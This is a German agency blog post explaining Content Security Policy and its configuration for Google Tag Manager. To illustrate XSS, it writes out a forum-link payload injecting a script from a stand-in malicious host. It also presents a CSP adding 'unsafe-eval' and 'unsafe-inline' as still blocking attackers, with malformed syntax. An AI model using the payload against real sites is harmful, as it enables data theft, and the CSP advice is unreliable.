Funktionsweise einer Content Security Policy
Die Content Security Policy ist im Grunde ein Text, der von Ihrer Webseite an ihre Besucher gesendet wird. In diesem Text wird definiert, welche Ressourcen auf Ihrer Webseite geladen werden dürfen. Dabei kann ganz granular auf Domain Basis entschieden werden, welche 3rd Party Domains auf Ihrer Webseite Inhalte bereitstellen dürfen. Sie können aber auch ganz grob alle Scripte oder Style Eigenschaften blockieren bzw zulassen.
Technisch gesprochen muss also der Server dem Browser darauf hinweisen, dass nur bestimmte Ressourcen geladen werden dürfen. Hierfür wird die sogenannte “Content-Security-Policy” im HTTP Header gesetzt. Wenn diese vom Server an den Browser gesendet wird, analysiert der Browser dessen Inhalt, befolgt die Regeln und blockt gegebenenfalls Inhalte. Ist ein Browser zu alt oder unterstützt die CSP nicht, wird der HTTP Header von diesem Browser ignoriert.
Der Grund für das Einführen dieser Methodik sind zahlreiche Attacken, die es in der Vergangenheit vor allem auf dynamischen Websites gegeben hat. Angenommen man hat ein Forum, in dem Nutzer Inhalte posten können. Ein Nutzer könnte mit folgendem Trick Fremdcode bei anderen Nutzern des Forums ausspielen und damit zum Beispiel Passwörter oder Nutzerdaten auslesen:
Beispiel Bulletin Board Code, den ich für das fiktive Experiment auf beispielforum.tld poste:
[a href=”https://www.beispielforum.tld/index.php?search=<script src=’https://boesartigesscript.tld/script.js’></script>”]Das habe ich gefunden! Schau unbedingt rein![/a]Dieser Code wird in diesem Beispiel vom Forum in einen Link umgewandelt und den Nutzern als Link in einem Forums-Beitrag angezeigt. Angenommen, jemand klickt auf den Link und kommt auf die URL https://www.beispielforum.tld/index.php?search=… welche eine Suchergebnisseite von dem Forum ist, so wird der Schadcode https://boesartigesscript.tld/script.js aus dem Parameter “search” geladen, wenn das Forum den Suchbegriff aus dem Parameter “search” anzeigen möchte und keine Sicherheitsmechanismen hat. Hätte das Forum CSP eingesetzt, könnte keine Ressource von boesartigesscript.tld geladen werden.
Content Security Policy & Google Tag Manager
Beim Setzen der Content Security Policy auf einer Webseite, sollte unbedingt ein Audit der aktuell eingesetzten Tools gemacht werden (solange diese auch nach dem Setzen der CSP eingesetzt werden sollen). Achtung: Der Einsatz einer CSP ohne entsprechendes Freischalten der jeweiligen Domains kann beispielsweise Google oder Facebook Pixel gänzlich blockieren (und somit das Tracking und das Remarketing). Auch der Einsatz des Google Tag Managers (GTM) muss vorher von der Content Security Policy (CSP) genehmigt werden. Wenn man jedoch den Google Tag Manager im vollen Umfang nutzen möchte, reicht es nicht aus, nur die Domain vom Google Tag Manager (also www.googletagmanager.com) freizuschalten. Das alleinige Freischalten der Domain des GTM’s führt dazu, dass benutzerdefinierte Einstellungen wie Custom JavaScript Variablen oder GTM Templates nicht richtig funktionieren. Beispielsweise bei Custom JavaScript Variablen unterbindet die CSP sogenannte Script Evaluierungen (die eval Funktion), wodurch die Custom JavaScript Variablen immer einen undefinierten Wert zurückgeben (undefined). Dem kann Abhilfe geschaffen werden, indem man der Content Security Policy folgenden Zusatz verleiht:script-src: ‘unsafe-eval’ ‘unsafe-inline’ https://www.googletagmanager.com img-src: www.googletagmanager.comDamit wird die korrekte Ausführung Ihres GTM Containers sichergestellt. Zeitgleich kann kein Angreifer, welcher Zugriff auf Ihren GTM Container bekommen hat, Scripte ausführen, die externe Ressourcen abfragen oder diese mit Daten versorgen möchten.
Fazit: Die Content Security Policy ist ein nützliches Werkzeug zur Steigerung der Kontrolle über Inhalte auf Ihrer Webseite. Falls Sie diese noch nicht nutzen, oder bedenken bezüglich Ihres Trackings oder Ihrer Remarketing Pixel haben, helfen wir Ihnen gerne bei der Implementierung! kontakt@e-dialog.at
